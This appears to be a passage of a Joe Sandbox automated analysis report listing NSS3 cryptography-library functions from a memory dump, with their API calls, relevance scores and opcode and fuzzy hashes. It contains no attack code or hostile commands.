Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 3edce0f2c6a2da05ce8abcd89c0c95968e248a9819831d3addc9a8e61f3fb53a
Instruction ID: 94045f17fc5cf316de18e00e7b73e35863d9a74b07e3fea249a04208072dd7fd
Opcode Fuzzy Hash: 3edce0f2c6a2da05ce8abcd89c0c95968e248a9819831d3addc9a8e61f3fb53a
Instruction Fuzzy Hash: 6D71CEB560420ADBEB00DF59CC80B9B7BB9BF88319F158125FD199B682D335EC50CBA0

Function 6D02FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6D02F165,?), ref: 6D02FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6D02F165,?), ref: 6D02FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6D02F165,?), ref: 6D02FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6D02F165,?), ref: 6D02FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6D02F165,?), ref: 6D02FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6D02F165,6D0F219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6D02FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6D02F165,?), ref: 6D0300A6

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 986f5a97d652302530b3839d6c1d3c3570dccf4fb81e6fa33c48d8b4011f3ccd
Instruction ID: 3ecf39d4d2534714db48efc770cace3c16cbd4985a0f077bf4530cbb92d0a923
Opcode Fuzzy Hash: 986f5a97d652302530b3839d6c1d3c3570dccf4fb81e6fa33c48d8b4011f3ccd
Instruction Fuzzy Hash: D951F171E0A2279BEB108EAAC8C07BEB7F5BF49354F564129DD59A7240D372AC00CBD0

Function 6CFEDEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFEDF37
EnterCriticalSection.KERNEL32(?), ref: 6CFEDF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFEDF96
PR_SetError.NSS3(00000000,00000000), ref: 6CFEE02B
PR_Unlock.NSS3(?), ref: 6CFEE07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CFEE090
PR_Unlock.NSS3(?), ref: 6CFEE0AF

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 5ed337f3d91bd7739f6466d657286994aaa4977ee3048c1f81df50a676e0da3d
Instruction ID: 07f161d2aa00ecbcf19e31fa4bc1e0a91a1fe347d513bffcff563e5a285492a2
Opcode Fuzzy Hash: 5ed337f3d91bd7739f6466d657286994aaa4977ee3048c1f81df50a676e0da3d
Instruction Fuzzy Hash: C651AF71900600EFEB20DF25E844B5777B5BF88318F204929EA5A47F91D771E884CB92

Function 6CFEBCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CFEBD1E

Part of subcall function 6CFC2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CFC2F0A
Part of subcall function 6CFC2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CFC2F1D

Part of subcall function 6D0057D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CFCB41E,00000000,00000000,?,00000000,?,6CFCB41E,00000000,00000000,00000001,?), ref: 6D0057E0
Part of subcall function 6D0057D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6D005843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFEBD8C

Part of subcall function 6D01FAB0: free.MOZGLUE(?,-00000001,?,?,6CFBF673,00000000,00000000), ref: 6D01FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CFEBD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CFEBDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFEBE3A

Part of subcall function 6CFC3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFC3EC2
Part of subcall function 6CFC3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CFC3ED6
Part of subcall function 6CFC3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFC3EEE
Part of subcall function 6CFC3E60: PR_CallOnce.NSS3(6D122AA4,6D0212D0), ref: 6CFC3F02
Part of subcall function 6CFC3E60: PL_FreeArenaPool.NSS3 ref: 6CFC3F14
Part of subcall function 6CFC3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFC3F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFEBE52

Part of subcall function 6CFC2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CFC2CDA,?,00000000), ref: 6CFC2E1E
Part of subcall function 6CFC2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CFC2E33
Part of subcall function 6CFC2E00: TlsGetValue.KERNEL32 ref: 6CFC2E4E
Part of subcall function 6CFC2E00: EnterCriticalSection.KERNEL32(?), ref: 6CFC2E5E
Part of subcall function 6CFC2E00: PL_HashTableLookup.NSS3(?), ref: 6CFC2E71
Part of subcall function 6CFC2E00: PL_HashTableRemove.NSS3(?), ref: 6CFC2E84
Part of subcall function 6CFC2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CFC2E96
Part of subcall function 6CFC2E00: PR_Unlock.NSS3 ref: 6CFC2EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFEBE61

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: a4fc9e67817606f76e8a98d0ad8864babeaaad118611fabb07e8630031fd71e4
Instruction ID: 7a9538822731b9d238fa155cb63f9e1dc95c9c4b33c266f5aca9011d78d76e15
Opcode Fuzzy Hash: a4fc9e67817606f76e8a98d0ad8864babeaaad118611fabb07e8630031fd71e4
Instruction Fuzzy Hash: B541D0B6A04310AFD720CF64DC80BAB77E8EF49718F114568FA4997311E731E914CBA2

Function 6D00AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6D00AB3E,?,?,?), ref: 6D00AC35

Part of subcall function 6CFECEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CFECF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6D00AB3E,?,?,?), ref: 6D00AC55

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6D00AB3E,?,?), ref: 6D00AC70

Part of subcall function 6CFEE300: TlsGetValue.KERNEL32 ref: 6CFEE33C
Part of subcall function 6CFEE300: EnterCriticalSection.KERNEL32(?), ref: 6CFEE350
Part of subcall function 6CFEE300: PR_Unlock.NSS3(?), ref: 6CFEE5BC
Part of subcall function 6CFEE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CFEE5CA
Part of subcall function 6CFEE300: TlsGetValue.KERNEL32 ref: 6CFEE5F2
Part of subcall function 6CFEE300: EnterCriticalSection.KERNEL32(?), ref: 6CFEE606
Part of subcall function 6CFEE300: PORT_Alloc_Util.NSS3(?), ref: 6CFEE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6D00AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6D00AB3E), ref: 6D00ACD7
PORT_Alloc_Util.NSS3(?), ref: 6D00AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6D00AD2B

Part of subcall function 6CFEF360: TlsGetValue.KERNEL32(00000000,?,6D00A904,?), ref: 6CFEF38B
Part of subcall function 6CFEF360: EnterCriticalSection.KERNEL32(?,?,?,6D00A904,?), ref: 6CFEF3A0
Part of subcall function 6CFEF360: PR_Unlock.NSS3(?,?,?,?,6D00A904,?), ref: 6CFEF3D3

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: d2e0e38618f2c820f870e92031456392ce43c690686023728f1d9966f159957e
Instruction ID: db9b41f061155392a36320728d6a089e816e78cd8ca0cd51ea0e8ed5dca0e816
Opcode Fuzzy Hash: d2e0e38618f2c820f870e92031456392ce43c690686023728f1d9966f159957e
Instruction Fuzzy Hash: 173119B1E006066FFB048F65DC40EBF77A6EF84328B268139E9199B340EB31DD1187A1

Function 6CFE8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CFE8C7C

Part of subcall function 6D089DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D0D0A27), ref: 6D089DC6
Part of subcall function 6D089DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D0D0A27), ref: 6D089DD1
Part of subcall function 6D089DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D089DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFE8CB0
TlsGetValue.KERNEL32 ref: 6CFE8CD1
EnterCriticalSection.KERNEL32(?), ref: 6CFE8CE5
PR_Unlock.NSS3(?), ref: 6CFE8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CFE8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFE8D93

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 913d33aeae7eccafcdfe2628c03cc31d2ee73c8b50f207aaf5239598b0b1ad32
Instruction ID: adbd9803d124136a3bbd7c2753ce0df2e68e62960f076df5dbe2c9bd777f1249
Opcode Fuzzy Hash: 913d33aeae7eccafcdfe2628c03cc31d2ee73c8b50f207aaf5239598b0b1ad32
Instruction Fuzzy Hash: 89313572901601BFEB10AF6CDC40B9AB7B4BF59318F240136EE1967B60D7B1A964CBD1

Function 6D029D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6D029C5B), ref: 6D029D82

Part of subcall function 6D0214C0: TlsGetValue.KERNEL32 ref: 6D0214E0
Part of subcall function 6D0214C0: EnterCriticalSection.KERNEL32 ref: 6D0214F5
Part of subcall function 6D0214C0: PR_Unlock.NSS3 ref: 6D02150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6D029C5B), ref: 6D029DA9

Part of subcall function 6D021340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CFC895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFBF599,?,00000000), ref: 6D02136A
Part of subcall function 6D021340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CFC895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFBF599,?,00000000), ref: 6D02137E
Part of subcall function 6D021340: PL_ArenaGrow.NSS3(?,6CFBF599,?,00000000,?,6CFC895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFBF599,?), ref: 6D0213CF
Part of subcall function 6D021340: PR_Unlock.NSS3(?,?,6CFC895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFBF599,?,00000000), ref: 6D02145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6D029C5B), ref: 6D029DCE

Part of subcall function 6D021340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CFC895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFBF599,?,00000000), ref: 6D0213F0
Part of subcall function 6D021340: PL_ArenaGrow.NSS3(?,6CFBF599,?,?,?,00000000,00000000,?,6CFC895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6D021445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6D029C5B), ref: 6D029DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6D029C5B), ref: 6D029DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6D029C5B), ref: 6D029E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6D029C5B), ref: 6D029E91

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

Part of subcall function 6D021560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6D01FAAB,00000000), ref: 6D02157E
Part of subcall function 6D021560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6D01FAAB,00000000), ref: 6D021592
Part of subcall function 6D021560: memset.VCRUNTIME140(?,00000000,?), ref: 6D021600
Part of subcall function 6D021560: PL_ArenaRelease.NSS3(?,?), ref: 6D021620
Part of subcall function 6D021560: PR_Unlock.NSS3(?), ref: 6D021639

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 67470cbcaa5c41f71ab0d7ff9a0cb822ba76c371c11198f711d2e078b4759c92
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: D0418DB4601606AFFB40CF15E840B66BBA5FF45358F558128D9188BAA0EB73E934CF91

Function 6CFEDDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CFEDDEC

Part of subcall function 6D020840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D0208B4

PK11_DigestBegin.NSS3(00000000), ref: 6CFEDE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CFEDE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CFEDE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CFEDEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CFEDEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFEDECC

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: a0069f3ddccfc11420c2733d08cfc73d22d5a00cabb30044206c10796929db79
Instruction ID: 1d71e42060da8b33c12296632072856ad127cc0f59ef49fd799e2468581161dc
Opcode Fuzzy Hash: a0069f3ddccfc11420c2733d08cfc73d22d5a00cabb30044206c10796929db79
Instruction Fuzzy Hash: EA31C7B29042157BEB10AF64AC45BFB76A9DF98608F050135ED09A7A41F731D914C7E2

Function 6CFC7E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFC7E48

Part of subcall function 6D020FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFC87ED,00000800,6CFBEF74,00000000), ref: 6D021000
Part of subcall function 6D020FF0: PR_NewLock.NSS3(?,00000800,6CFBEF74,00000000), ref: 6D021016
Part of subcall function 6D020FF0: PL_InitArenaPool.NSS3(00000000,security,6CFC87ED,00000008,?,00000800,6CFBEF74,00000000), ref: 6D02102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CFC7E5B

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFC7E7B

Part of subcall function 6D01FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D018D2D,?,00000000,?), ref: 6D01FB85
Part of subcall function 6D01FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D01FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6D0E925C,?), ref: 6CFC7E92

Part of subcall function 6D01B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0F18D0,?), ref: 6D01B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFC7EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CFC7ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CFC7EFA

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 3f7a08ae729b5e667d733a42a3fb153e1e7cb89b87a543c8289652f0578ffea7
Instruction ID: 5618106e98ae4db557eff07ce49c56159752de856719a019b09b53a239b7019d
Opcode Fuzzy Hash: 3f7a08ae729b5e667d733a42a3fb153e1e7cb89b87a543c8289652f0578ffea7
Instruction Fuzzy Hash: BF3181B3F052165BFB108B659C80B9B77E8AF44658F164526DD19EB641E730EC04C7E2

Function 6D01DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6D01D9E4,00000000), ref: 6D01DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6D01D9E4,00000000), ref: 6D01DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6D01D9E4,00000000), ref: 6D01DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6D01DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6D01DCAD

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: f59095a7252364c9aa20c5e2948ebf609ed3858748b26e11bf603b67b009652b
Instruction ID: b0aea0b71e687a10d557b4058494fb3fef7ab73895e97d3178559ec95f9124ef
Opcode Fuzzy Hash: f59095a7252364c9aa20c5e2948ebf609ed3858748b26e11bf603b67b009652b
Instruction Fuzzy Hash: 11314FB59082029FF751CF59DC84B56B7F8BF85358F148829E948CB301E7B1E940CBA1

Function 6CFE2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CFDE728,?,00000038,?,?,00000000), ref: 6CFE2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFE2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFE2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CFE2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CFE2E9E
PR_Unlock.NSS3(?), ref: 6CFE2EAB
PR_Unlock.NSS3(?), ref: 6CFE2F0D

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
